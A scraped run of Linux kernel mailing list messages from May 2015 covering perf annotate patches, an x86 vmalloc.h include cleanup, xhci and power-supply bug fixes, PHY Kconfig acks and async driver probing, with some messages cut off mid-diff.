2 out of 2 hunks FAILED -- saving rejects to file
tools/perf/builtin-annotate.c.rej
[acme@zoo linux]$
What branch is this intended for? I.e. where have you cloned this from?
Yeah, I reproduced the problem and will try to figure this out, but
please always be explicit where to apply this.
- Arnaldo
Signed-off-by: Martin Liska mli...@suse.cz
---
tools/perf/builtin-annotate.c | 3 ++-
1 file changed, 2 insertions(+), 1 deletion(-)
diff --git a/tools/perf/builtin-annotate.c b/tools/perf/builtin-annotate.c
index c434e12..4e08c2d 100644
--- a/tools/perf/builtin-annotate.c
+++ b/tools/perf/builtin-annotate.c
@@ -289,7 +289,6 @@ int cmd_annotate(int argc, const char **argv, const char
*prefix __maybe_unused)
},
};
struct perf_data_file file = {
- .path = input_name,
.mode = PERF_DATA_MODE_READ,
};
const struct option options[] = {
@@ -346,6 +345,8 @@ int cmd_annotate(int argc, const char **argv, const char
*prefix __maybe_unused)
else if (annotate.use_gtk)
use_browser = 2;
+ file.path = input_name;
+
setup_browser(true);
annotate.session = perf_session__new(file, false, annotate.tool);
--
2.1.4
--
To unsubscribe from this list: send the line unsubscribe linux-kernel in
the body of a message to majord...@vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/
Re: [RFC][PATCH] x86: remove vmalloc.h from asm/io.h
At Fri, 29 May 2015 19:18:47 +1000, Stephen Rothwell wrote: Nothing in asm/io.h uses anything from vmalloc.h, so remove the include and fix up the build problems in an allmodconfig (64 bit and 32 bit) build. This may be the place where x86 builds get vmalloc.h implicitly included and that tends to hide places where vmalloc() et al are added to files but the include of vmalloc.h is forgotten. Cc: Thomas Gleixner t...@linutronix.de Cc: Ingo Molnar mi...@redhat.com Cc: H. Peter Anvin h...@zytor.com Cc: x...@kernel.org Cc: Konrad Rzeszutek Wilk konrad.w...@oracle.com Cc: Boris Ostrovsky boris.ostrov...@oracle.com Cc: David Vrabel david.vra...@citrix.com Cc: Anton Vorontsov an...@enomsg.org Cc: Colin Cross ccr...@android.com Cc: Kees Cook keesc...@chromium.org Cc: Tony Luck tony.l...@intel.com Cc: Rafael J. Wysocki r...@rjwysocki.net Cc: Len Brown l...@kernel.org Cc: Kristen Carlson Accardi kris...@linux.intel.com Cc: Viresh Kumar viresh.ku...@linaro.org Cc: Vinod Koul vinod.k...@intel.com Cc: K. Y. Srinivasan k...@microsoft.com Cc: Haiyang Zhang haiya...@microsoft.com Cc: Hiral Patel hiral...@cisco.com Cc: Suma Ramars sram...@cisco.com Cc: Brian Uchino buch...@cisco.com Cc: James E.J. Bottomley jbottom...@odin.com Cc: Jaroslav Kysela pe...@perex.cz Cc: Takashi Iwai ti...@suse.de For the sound bits, Acked-by: Takashi Iwai ti...@suse.de thanks, Takashi Cc: Andrew Morton a...@linux-foundation.org Suggested-by: David Miller da...@davemloft.net Signed-off-by: Stephen Rothwell s...@canb.auug.org.au --- Based in Linus' tree of today. There are probably more places that need vmalloc.h included, but this passes 64 bit and 32 bit allmodconfig builds, so is a place to start. Dave Miller suggested that I start this journey. arch/x86/include/asm/io.h | 2 -- arch/x86/kernel/crash.c| 1 + arch/x86/kernel/machine_kexec_64.c | 1 + arch/x86/mm/pageattr-test.c| 1 + arch/x86/mm/pageattr.c | 1 + arch/x86/xen/p2m.c | 1 + drivers/acpi/apei/erst.c | 1 + drivers/cpufreq/intel_pstate.c | 1 + drivers/dma/mic_x100_dma.c | 1 + drivers/net/hyperv/netvsc.c| 1 + drivers/net/hyperv/rndis_filter.c | 1 + drivers/scsi/fnic/fnic_debugfs.c | 1 + drivers/scsi/fnic/fnic_trace.c | 1 + sound/pci/asihpi/hpioctl.c | 1 + 14 files changed, 13 insertions(+), 2 deletions(-) diff --git a/arch/x86/include/asm/io.h b/arch/x86/include/asm/io.h index 34a5b93704d3..5791e7ace9db 100644 --- a/arch/x86/include/asm/io.h +++ b/arch/x86/include/asm/io.h @@ -197,8 +197,6 @@ extern void set_iounmap_nonlazy(void); #include asm-generic/iomap.h -#include linux/vmalloc.h - /* * Convert a virtual cached pointer to an uncached pointer */ diff --git a/arch/x86/kernel/crash.c b/arch/x86/kernel/crash.c index c76d3e37c6e1..e068d6683dba 100644 --- a/arch/x86/kernel/crash.c +++ b/arch/x86/kernel/crash.c @@ -22,6 +22,7 @@ #include linux/elfcore.h #include linux/module.h #include linux/slab.h +#include linux/vmalloc.h #include asm/processor.h #include asm/hardirq.h diff --git a/arch/x86/kernel/machine_kexec_64.c b/arch/x86/kernel/machine_kexec_64.c index 415480d3ea84..11546b462fa6 100644 --- a/arch/x86/kernel/machine_kexec_64.c +++ b/arch/x86/kernel/machine_kexec_64.c @@ -17,6 +17,7 @@ #include linux/ftrace.h #include linux/io.h #include linux/suspend.h +#include linux/vmalloc.h #include asm/init.h #include asm/pgtable.h diff --git a/arch/x86/mm/pageattr-test.c b/arch/x86/mm/pageattr-test.c index 6629f397b467..8ff686aa7e8c 100644 --- a/arch/x86/mm/pageattr-test.c +++ b/arch/x86/mm/pageattr-test.c @@ -9,6 +9,7 @@ #include linux/random.h #include linux/kernel.h #include linux/mm.h +#include linux/vmalloc.h #include asm/cacheflush.h #include asm/pgtable.h diff --git a/arch/x86/mm/pageattr.c b/arch/x86/mm/pageattr.c index 89af288ec674..bedfc794b4ba 100644 --- a/arch/x86/mm/pageattr.c +++ b/arch/x86/mm/pageattr.c @@ -14,6 +14,7 @@ #include linux/percpu.h #include linux/gfp.h #include linux/pci.h +#include linux/vmalloc.h #include asm/e820.h #include asm/processor.h diff --git a/arch/x86/xen/p2m.c b/arch/x86/xen/p2m.c index b47124d4cd67..8b7f18e200aa 100644 --- a/arch/x86/xen/p2m.c +++ b/arch/x86/xen/p2m.c @@ -67,6 +67,7 @@ #include linux/seq_file.h #include linux/bootmem.h #include linux/slab.h +#include linux/vmalloc.h #include asm/cache.h #include asm/setup.h diff --git a/drivers/acpi/apei/erst.c b/drivers/acpi/apei/erst.c index ed65e9c4b5b0..3670bbab57a3 100644 --- a/drivers/acpi/apei/erst.c +++ b/drivers/acpi/apei/erst.c @@ -35,6 +35,7 @@ #include linux/nmi.h #include linux/hardirq.h #include linux/pstore.h +#include linux/vmalloc.h #include acpi/apei.h #include apei-internal.h diff --git a/drivers/cpufreq/intel_pstate.c b/drivers/cpufreq/intel_pstate.c
Re: [GIT PULL] qcom SoC changes for 4.2-1
On Thursday 28 May 2015 10:55:39 Kumar Gala wrote: Qualcomm ARM Based SoC Updates for v4.2-1 * Added Subsystem Power Manager (SPM) driver * Split out 32-bit specific SCM code * Added HDCP SCM call Pulled into next/drivers, thanks! Arnd -- To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: [RFC] Add --show-total-period for perf annotate
On 05/27/2015 04:04 PM, Andi Kleen wrote:
If I understand correctly, is it just about division of the number of events
related to an instruction and total number of events?
Yes that's it. The information is already displayed in the main view
(or more fine grained if you do --sort ...,srcline; unfortunately not
sorted in this case)
-Andi
Hi.
Following patch sums samples that belong to a line in assembly language.
What do you think about it, would it be acceptable solution?
Thanks,
Martin
--
To unsubscribe from this list: send the line unsubscribe linux-perf-users in
the body of a message to majord...@vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
From 0435d25155315f30f2040d5adff3b5f2ca825089 Mon Sep 17 00:00:00 2001
From: mliska mli...@suse.cz
Date: Wed, 27 May 2015 10:54:42 +0200
Subject: [PATCH] perf annotate: With --show-total-period, display total # of
samples.
To compare two records on an instruction base, with --show-total-period
option provided, display total number of samples that belong to a line
in assembly language.
Signed-off-by: Martin Liska mli...@suse.cz
---
tools/perf/builtin-annotate.c | 5 -
tools/perf/perf.h | 2 ++
tools/perf/ui/browsers/annotate.c | 42 ---
tools/perf/util/annotate.c| 28 --
tools/perf/util/annotate.h| 3 ++-
5 files changed, 56 insertions(+), 24 deletions(-)
diff --git a/tools/perf/builtin-annotate.c b/tools/perf/builtin-annotate.c
index b57a027..38fc304 100644
--- a/tools/perf/builtin-annotate.c
+++ b/tools/perf/builtin-annotate.c
@@ -46,6 +46,8 @@ struct perf_annotate {
DECLARE_BITMAP(cpu_bitmap, MAX_NR_CPUS);
};
+unsigned long long total_nr_samples;
+
static int perf_evsel__add_sample(struct perf_evsel *evsel,
struct perf_sample *sample __maybe_unused,
struct addr_location *al,
@@ -193,7 +195,6 @@ static int __cmd_annotate(struct perf_annotate *ann)
int ret;
struct perf_session *session = ann-session;
struct perf_evsel *pos;
- u64 total_nr_samples;
machines__set_symbol_filter(session-machines, symbol__annotate_init);
@@ -326,6 +327,8 @@ int cmd_annotate(int argc, const char **argv, const char *prefix __maybe_unused)
objdump binary to use for disassembly and annotations),
OPT_BOOLEAN(0, group, symbol_conf.event_group,
Show event group information together),
+ OPT_BOOLEAN(0, show-total-period, symbol_conf.show_total_period,
+ Show a column with the sum of periods),
OPT_END()
};
int ret = hists__init();
diff --git a/tools/perf/perf.h b/tools/perf/perf.h
index aa79fb8..9b629fc 100644
--- a/tools/perf/perf.h
+++ b/tools/perf/perf.h
@@ -35,6 +35,8 @@ extern const char *input_name;
extern bool perf_host, perf_guest;
extern const char perf_version_string[];
+extern unsigned long long total_nr_samples;
+
void pthread__unblock_sigwinch(void);
#include util/target.h
diff --git a/tools/perf/ui/browsers/annotate.c b/tools/perf/ui/browsers/annotate.c
index e5250eb..5c92fd5 100644
--- a/tools/perf/ui/browsers/annotate.c
+++ b/tools/perf/ui/browsers/annotate.c
@@ -11,16 +11,21 @@
#include ../../util/evsel.h
#include pthread.h
+struct percent_tuple {
+double percent;
+double samples;
+};
+
struct browser_disasm_line {
- struct rb_node rb_node;
- u32 idx;
- int idx_asm;
- int jump_sources;
+ struct rb_node rb_node;
+ u32 idx;
+ int idx_asm;
+ int jump_sources;
/*
* actual length of this array is saved on the nr_events field
* of the struct annotate_browser
*/
- double percent[1];
+ struct percent_tupletuples[1];
};
static struct annotate_browser_opt {
@@ -105,15 +110,18 @@ static void annotate_browser__write(struct ui_browser *browser, void *entry, int
char bf[256];
for (i = 0; i ab-nr_events; i++) {
- if (bdl-percent[i] percent_max)
- percent_max = bdl-percent[i];
+ if (bdl-tuples[i].percent percent_max)
+ percent_max = bdl-tuples[i].percent;
}
if (dl-offset != -1 percent_max != 0.0) {
for (i = 0; i ab-nr_events; i++) {
- ui_browser__set_percent_color(browser, bdl-percent[i],
+ ui_browser__set_percent_color(browser, bdl-tuples[i].percent,
current_entry);
- slsmg_printf(%6.2f , bdl-percent[i]);
+ if (symbol_conf.show_total_period)
+slsmg_printf(%7.0f , bdl-tuples[i].samples);
+ else
+slsmg_printf(%6.2f , bdl-tuples[i].percent);
}
} else {
ui_browser__set_percent_color(browser, 0, current_entry);
@@ -273,9 +281,9 @@ static int disasm__cmp(struct browser_disasm_line *a,
int i;
for (i = 0; i nr_pcnt; i++) {
- if (a-percent[i] == b-percent[i])
+ if (a-tuples[i].percent == b-tuples[i].percent)
continue;
- return a-percent[i] b-percent[i];
+ return a-tuples[i].percent b-tuples[i].percent;
}
return 0;
}
@@ -366,14 +374,16 @@ static void annotate_browser__calc_percent(struct annotate_browser *browser,
next =
Re: [PATCH] perf annotate: fix -i option, which is currently ignored.
Em Fri, May 29, 2015 at 02:47:39PM +0200, Martin Liška escreveu: On 05/29/2015 02:43 PM, Arnaldo Carvalho de Melo wrote: Em Fri, May 29, 2015 at 09:42:41AM -0300, Arnaldo Carvalho de Melo escreveu: Yeah, I reproduced the problem and will try to figure this out, but please always be explicit where to apply this. I tried first on perf/core, then on perf/urgent, and it didn't apply in both cases :-( I've just pulled perf, patch is a diff against perf/perf/core. $ git log --oneline | head -n2 95b12b3 perf annotate: fix -i option, which is currently ignored. f1942b9 Merge tag 'perf-core-for-mingo' of git://git.kernel.org/pub/scm/linux/kernel/git/acme/linux into perf/core [acme@zoo linux]$ git remote update tip Fetching tip [acme@zoo linux]$ git pull tip perf/core From git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip * branch perf/core - FETCH_HEAD Already up-to-date. [acme@zoo linux]$ git log --oneline | head -n2 f1942b96b4b4 Merge tag 'perf-core-for-mingo' of git://git.kernel.org/pub/scm/linux/kernel/git/acme/linux into perf/core 09a216ea5c52 perf: Remove myself from MAINTAINERS entry [acme@zoo linux]$ grep '^\(Subject\|Message-ID\)' /wb/1.patch Message-ID: 55685654.2010...@suse.cz Subject: [PATCH] perf annotate: fix -i option, which is currently ignored. [acme@zoo linux]$ [acme@zoo linux]$ git am /wb/1.patch Applying: perf annotate: fix -i option, which is currently ignored. error: patch failed: tools/perf/builtin-annotate.c:289 error: tools/perf/builtin-annotate.c: patch does not apply Patch failed at 0001 perf annotate: fix -i option, which is currently ignored. The copy of the patch that failed is found in: /home/acme/git/linux/.git/rebase-apply/patch When you have resolved this problem, run git am --continue. If you prefer to skip this patch, run git am --skip instead. To restore the original branch and stop patching, run git am --abort. [acme@zoo linux]$ [acme@zoo linux]$ git reset --hard HEAD is now at f1942b96b4b4 Merge tag 'perf-core-for-mingo' of git://git.kernel.org/pub/scm/linux/kernel/git/acme/linux into perf/core [acme@zoo linux]$ patch -p1 /wb/1.patch patching file tools/perf/builtin-annotate.c Hunk #1 FAILED at 289. Hunk #2 FAILED at 346. 2 out of 2 hunks FAILED -- saving rejects to file tools/perf/builtin-annotate.c.rej [acme@zoo linux]$ I failed to find the problem, ouch, the patches looks the same, applying by hand... - Arnaldo -- To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH] perf annotate: fix -i option, which is currently ignored.
On 05/29/2015 03:08 PM, Arnaldo Carvalho de Melo wrote: Em Fri, May 29, 2015 at 02:47:39PM +0200, Martin Liška escreveu: On 05/29/2015 02:43 PM, Arnaldo Carvalho de Melo wrote: Em Fri, May 29, 2015 at 09:42:41AM -0300, Arnaldo Carvalho de Melo escreveu: Yeah, I reproduced the problem and will try to figure this out, but please always be explicit where to apply this. I tried first on perf/core, then on perf/urgent, and it didn't apply in both cases :-( I've just pulled perf, patch is a diff against perf/perf/core. $ git log --oneline | head -n2 95b12b3 perf annotate: fix -i option, which is currently ignored. f1942b9 Merge tag 'perf-core-for-mingo' of git://git.kernel.org/pub/scm/linux/kernel/git/acme/linux into perf/core [acme@zoo linux]$ git remote update tip Fetching tip [acme@zoo linux]$ git pull tip perf/core From git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip * branch perf/core - FETCH_HEAD Already up-to-date. [acme@zoo linux]$ git log --oneline | head -n2 f1942b96b4b4 Merge tag 'perf-core-for-mingo' of git://git.kernel.org/pub/scm/linux/kernel/git/acme/linux into perf/core 09a216ea5c52 perf: Remove myself from MAINTAINERS entry [acme@zoo linux]$ grep '^\(Subject\|Message-ID\)' /wb/1.patch Message-ID: 55685654.2010...@suse.cz Subject: [PATCH] perf annotate: fix -i option, which is currently ignored. [acme@zoo linux]$ [acme@zoo linux]$ git am /wb/1.patch Applying: perf annotate: fix -i option, which is currently ignored. error: patch failed: tools/perf/builtin-annotate.c:289 error: tools/perf/builtin-annotate.c: patch does not apply Patch failed at 0001 perf annotate: fix -i option, which is currently ignored. The copy of the patch that failed is found in: /home/acme/git/linux/.git/rebase-apply/patch When you have resolved this problem, run git am --continue. If you prefer to skip this patch, run git am --skip instead. To restore the original branch and stop patching, run git am --abort. [acme@zoo linux]$ [acme@zoo linux]$ git reset --hard HEAD is now at f1942b96b4b4 Merge tag 'perf-core-for-mingo' of git://git.kernel.org/pub/scm/linux/kernel/git/acme/linux into perf/core [acme@zoo linux]$ patch -p1 /wb/1.patch patching file tools/perf/builtin-annotate.c Hunk #1 FAILED at 289. Hunk #2 FAILED at 346. 2 out of 2 hunks FAILED -- saving rejects to file tools/perf/builtin-annotate.c.rej [acme@zoo linux]$ I failed to find the problem, ouch, the patches looks the same, applying by hand... - Arnaldo That's really strange ;) Anyway, thanks for application. Martin -- To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: [RFC 3/3] memcg: get rid of mm_struct::owner
On Fri, May 29, 2015 at 02:08:38PM +0200, Michal Hocko wrote: I suppose that making mm always follow the threadgroup leader should be fine, right? That is the plan. Cool. While this wouldn't make any difference in the unified hierarchy, Just to make sure I understand. wouldn't make any difference because the API is not backward compatible right? Hmm... because it's always per-process. If any thread is going, the whole process is going together. I think this would make more sense for traditional hierarchies. Yes I believe so. Thanks. -- tejun -- To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCHv3 1/4] phy: phy-core: Make GENERIC_PHY an invisible option
On Fri, May 29, 2015 at 06:07:18PM +0530, Kishon Vijay Abraham I wrote: Tejun, Maxime, Sylwester, Kyungmin On Thursday 23 April 2015 04:34 AM, Arun Ramamurthy wrote: Most of the phy providers use select to enable GENERIC_PHY. Since select is only recommended when the config is not visible, GENERIC_PHY is changed an invisible option. To maintain consistency, all phy providers are changed to select GENERIC_PHY and all non-phy drivers use depends on when the phy framework is explicity required. USB_MUSB_OMAP2PLUS has a cyclic dependency, so it is left as select. Signed-off-by: Arun Ramamurthy arun.ramamur...@broadcom.com Need your ACK for this patch. For ATA part, Acked-by: Tejun Heo t...@kernel.org Thanks. -- tejun -- To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCHv3 1/4] phy: phy-core: Make GENERIC_PHY an invisible option
On 29/05/15 14:37, Kishon Vijay Abraham I wrote: Tejun, Maxime, Sylwester, Kyungmin On Thursday 23 April 2015 04:34 AM, Arun Ramamurthy wrote: Most of the phy providers use select to enable GENERIC_PHY. Since select is only recommended when the config is not visible, GENERIC_PHY is changed an invisible option. To maintain consistency, all phy providers are changed to select GENERIC_PHY and all non-phy drivers use depends on when the phy framework is explicity required. USB_MUSB_OMAP2PLUS has a cyclic dependency, so it is left as select. Signed-off-by: Arun Ramamurthy arun.ramamur...@broadcom.com Need your ACK for this patch. For drivers/media/platform/exynos4-is/Kconfig drivers/video/fbdev/exynos/Kconfig Acked-by: Sylwester Nawrocki s.nawro...@samsung.com -- Thanks, Sylwester -- To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH] perf annotate: fix -i option, which is currently ignored.
Em Fri, May 29, 2015 at 10:08:06AM -0300, Arnaldo Carvalho de Melo escreveu:
[acme@zoo linux]$ patch -p1 /wb/1.patch
patching file tools/perf/builtin-annotate.c
Hunk #1 FAILED at 289.
Hunk #2 FAILED at 346.
2 out of 2 hunks FAILED -- saving rejects to file
tools/perf/builtin-annotate.c.rej
[acme@zoo linux]$
I failed to find the problem, ouch, the patches looks the same, applying
by hand...
Somehow your patch came with extra leading spaces, saw using 'set list'
on vim:
diff --git a/tools/perf/builtin-annotate.c
b/tools/perf/builtin-annotate.c$
index c434e12..4e08c2d 100644$
--- a/tools/perf/builtin-annotate.c$
+++ b/tools/perf/builtin-annotate.c$
@@ -289,7 +289,6 @@ int cmd_annotate(int argc, const char **argv, const
char *prefix __maybe_unused)$
^I^I},$
^I};$
^Istruct perf_data_file file = {$
-^I^I.path = input_name,$
^I^I.mode = PERF_DATA_MODE_READ,$
^I};$
^Iconst struct option options[] = {$
@@ -346,6 +345,8 @@ int cmd_annotate(int argc, const char **argv, const
char *prefix __maybe_unused)$
^Ielse if (annotate.use_gtk)$
^I^Iuse_browser = 2;$
$
+^Ifile.path = input_name;$
+$
^Isetup_browser(true);$
$
^Iannotate.session = perf_session__new(file, false, annotate.tool);$
-- $
2.1.4$
and then, if I remove those, it applies, please check your thunderbird
environment:
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101
Thunderbird/31.6.0
- Arnaldo
--
To unsubscribe from this list: send the line unsubscribe linux-kernel in
the body of a message to majord...@vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/
Re: linux-next: build failure after merge of the imx-mxs tree
Hi Stephen, On Fri, May 29, 2015 at 09:28:59PM +1000, Stephen Rothwell wrote: Hi Shawn, After merging the imx-mxs tree, today's linux-next build (powerpc allyesconfig) failed like this: drivers/clocksource/timer-imx-gpt.c:37:27: fatal error: asm/mach/time.h: No such file or directory #include asm/mach/time.h ^ Caused by commit 77b0235b6b5c (ARM: imx: move timer driver into drivers/clocksource). I have marked it as BROKEN for now: Thanks for the report. I just sent a fix for it, and will get it into my for-next branch soon. Sorry for the breakage. Shawn From: Stephen Rothwell s...@canb.auug.org.au Date: Fri, 29 May 2015 21:24:03 +1000 Subject: [PATCH] ARM: imx: mark CLKSRC_IMX_GPT as BROKEN for now Signed-off-by: Stephen Rothwell s...@canb.auug.org.au --- drivers/clocksource/Kconfig | 1 + 1 file changed, 1 insertion(+) diff --git a/drivers/clocksource/Kconfig b/drivers/clocksource/Kconfig index 3c15a49fdac9..d8fedc925864 100644 --- a/drivers/clocksource/Kconfig +++ b/drivers/clocksource/Kconfig @@ -279,6 +279,7 @@ config CLKSRC_PXA config CLKSRC_IMX_GPT bool Clocksource using i.MX GPT if COMPILE_TEST depends on OF + depends on BROKEN select CLKSRC_MMIO config H8300_TMR16 -- 2.1.4 -- Cheers, Stephen Rothwells...@canb.auug.org.au -- To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH] ARM: dts: odroidxu3: Enable USB3 regulators
On 28 May 2015 at 14:49, Krzysztof Kozlowski k.kozlow...@samsung.com wrote: On 28.05.2015 17:58, Anand Moon wrote: Enable regulator for usbdrd3_0 and usbdrd3_1 From the schematic pin diagram USB3_0 and USB3_1 is regulated by LDO9 and LD011. Please reformat statement above to proper sentence(s) without before From. Fix the boot message of failed. [3.503539] exynos-dwc3 usb@1200: Looking up vdd33-supply from device tree [3.503556] exynos-dwc3 usb@1200: Looking up vdd33-supply property in node /usb@1200 failed [3.503568] usb@1200 supply vdd33 not found, using dummy regulator [3.509154] exynos-dwc3 usb@1200: Looking up vdd10-supply from device tree [3.509170] exynos-dwc3 usb@1200: Looking up vdd10-supply property in node /usb@1200 failed [3.509181] usb@1200 supply vdd10 not found, using dummy regulator [3.917548] exynos-dwc3 usb@1240: Looking up vdd33-supply from device tree [3.917565] exynos-dwc3 usb@1240: Looking up vdd33-supply property in node /usb@1240 failed [3.917578] usb@1240 supply vdd33 not found, using dummy regulator [3.922731] exynos-dwc3 usb@1240: Looking up vdd10-supply from device tree [3.922747] exynos-dwc3 usb@1240: Looking up vdd10-supply property in node /usb@1240 failed --- This patch is based on Krzysztof github branch work-next/odroid-xu3-s2mps11-irq --- I mentioned this already on previous postings. Let's make an exercise. Please: 1. Save your email as mbox format (from mailer). 2. Go to a GIT repo with kernel and checkout base branch. 3. git am 0001-the-name-of-file.mbox 4. git show Do you see the signed-off-by in commit? The patch itself looks good, thanks for fixing this. Just please fix the issues with commit message. By the way: 1. The always-on from LDO9 could be probably removed if the ehci-exynos driver had regulator consumer implemented. 2. The Documentation/devicetree/bindings/usb/exynos-usb.txt (or dwc.txt) should proably mention the vdd-supply property. Hi Krzysztof, Please find the patch already send by Vivek Gautam gautam.vi...@samsung.com which address this issue. http://lists.infradead.org/pipermail/linux-arm-kernel/2014-June/266418.html -Anand Moon Best regards, Krzysztof -- To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
[PATCH 1/1] power_supply: 88pm860x_charger: Do not call free_irq() twice
My static checker detected double free_irq() in pm860x_charger_remove(). Unloading this module always causes a warning. This patch removes the first redundant free_irq() call. Signed-off-by: Takeshi Yoshimura y...@sslab.ics.keio.ac.jp --- drivers/power/88pm860x_charger.c | 1 - 1 file changed, 1 deletion(-) diff --git a/drivers/power/88pm860x_charger.c b/drivers/power/88pm860x_charger.c index 0e448c6..297e72d 100644 --- a/drivers/power/88pm860x_charger.c +++ b/drivers/power/88pm860x_charger.c @@ -742,7 +742,6 @@ static int pm860x_charger_remove(struct platform_device *pdev) int i; power_supply_unregister(info-usb); - free_irq(info-irq[0], info); for (i = 0; i info-irq_nums; i++) free_irq(info-irq[i], info); return 0; -- 2.1.0 -- To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH] usb: host: xhci-pci: Fix NULL pointer dereference error
On 26.05.2015 17:15, Roger Quadros wrote:
From: Kishon Vijay Abraham I kis...@ti.com
commit 3b8295d5cbf2 (usb: xhci: Fix suspend/resume when used
with OTG core) removes assigning xhci-main_hcd from xhci_gen_setup
and adds it in the probe of xhci-plat and xhci-pci.
In the case of xhci-pci, xhci_mem_init is invoked before main_hcd is
initialized in the probe causing a null pointer deferencing error
when a PCIe usb controller card is plugged in.
Fix it by initializing xhci-main_hcd in xhci_gen_setup and removing
it from xhci_pci_probe().
Signed-off-by: Kishon Vijay Abraham I kis...@ti.com
Acked-by: Roger Quadros rog...@ti.com
---
drivers/usb/host/xhci-pci.c |1 -
drivers/usb/host/xhci.c |1 +
2 files changed, 1 insertion(+), 1 deletion(-)
diff --git a/drivers/usb/host/xhci-pci.c b/drivers/usb/host/xhci-pci.c
index 11f16cb..67b9529 100644
--- a/drivers/usb/host/xhci-pci.c
+++ b/drivers/usb/host/xhci-pci.c
@@ -230,7 +230,6 @@ static int xhci_pci_probe(struct pci_dev *dev, const
struct pci_device_id *id)
/* USB 2.0 roothub is stored in the PCI device now. */
hcd = dev_get_drvdata(dev-dev);
xhci = hcd_to_xhci(hcd);
-xhci-main_hcd = hcd;
xhci-shared_hcd = usb_create_shared_hcd(driver, dev-dev,
pci_name(dev), hcd);
if (!xhci-shared_hcd) {
diff --git a/drivers/usb/host/xhci.c b/drivers/usb/host/xhci.c
index 397c0dd..b14f572 100644
--- a/drivers/usb/host/xhci.c
+++ b/drivers/usb/host/xhci.c
@@ -4842,6 +4842,7 @@ int xhci_gen_setup(struct usb_hcd *hcd,
xhci_get_quirks_t get_quirks)
*/
hcd-speed = HCD_USB2;
hcd-self.root_hub-speed = USB_SPEED_HIGH;
+xhci-main_hcd = hcd;
/*
* USB 2.0 roothub under xHCI has an integrated TT,
* (rate matching hub) as opposed to having an OHCI/UHCI
Thanks,
As your original patch causing this isn't out yet I'll undo this part from your
5/5 patch.
(prevent broken xhci for some unlucky bisecter)
-Mathias
--
To unsubscribe from this list: send the line unsubscribe linux-kernel in
the body of a message to majord...@vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH 2/8] driver-core: add asynchronous probing support for drivers
On 29 May 2015 at 12:48, Tomeu Vizoso tomeu.viz...@gmail.com wrote:
On 31 March 2015 at 01:20, Dmitry Torokhov dmitry.torok...@gmail.com wrote:
Some devices take a long time when initializing, and not all drivers are
suited to initialize their devices when they are open. For example,
input drivers need to interrogate their devices in order to publish
device's capabilities before userspace will open them. When such drivers
are compiled into kernel they may stall entire kernel initialization.
This change allows drivers request for their probe functions to be
called asynchronously during driver and device registration (manual
binding is still synchronous). Because async_schedule is used to perform
asynchronous calls module loading will still wait for the probing to
complete.
But what about parents? Don't we need to make sure that before probing
a device its parent has finished probing already?
Have realized that this is an existing problem that was just made more
probable by async probe, as before async probing the parent could have
deferred its probe and then its children would be probed.
Wonder if drivers should be modified to defer its probe if their
parent isn't probed yet, or if we can codify that in dd.c.
Regards,
Tomeu
This backtrace
illustrates the problem:
[c0014818] (__dabt_svc) from [c03737ac] (host1x_syncpt_alloc+0x14/0x134)
[c03737ac] (host1x_syncpt_alloc) from [c03738f4]
(host1x_syncpt_request+0x28/0x2c)
[c03738f4] (host1x_syncpt_request) from [c03b55ec]
(tegra_dc_probe+0x198/0x35c)
[c03b55ec] (tegra_dc_probe) from [c03cb5a0] (platform_drv_probe+0x54/0xbc)
[c03cb5a0] (platform_drv_probe) from [c03c96e0]
(driver_probe_device+0x184/0x2c4)
[c03c96e0] (driver_probe_device) from [c03c98bc]
(__driver_attach+0x9c/0xa0)
[c03c98bc] (__driver_attach) from [c03c78d8] (bus_for_each_dev+0x78/0xac)
[c03c78d8] (bus_for_each_dev) from [c03c9070] (driver_attach+0x2c/0x30)
[c03c9070] (driver_attach) from [c03c7e10] (driver_attach_async+0x18/0x1c)
[c03c7e10] (driver_attach_async) from [c004afd0]
(async_run_entry_fn+0x58/0x128)
[c004afd0] (async_run_entry_fn) from [c0042470]
(process_one_work+0x140/0x50c)
[c0042470] (process_one_work) from [c0042890] (worker_thread+0x54/0x52c)
[c0042890] (worker_thread) from [c0048554] (kthread+0xec/0x104)
[c0048554] (kthread) from [c000fc28] (ret_from_fork+0x14/0x2c)
host1x_syncpt_request() assumes that the parent of the DC (host1x) has
been probed already and its drvdata is available.
Thanks,
Tomeu
Note that the end goal is to make the probing asynchronous by default,
so annotating drivers with PROBE_PREFER_ASYNCHRONOUS is a temporary
measure that allows us to speed up boot process while we validating and
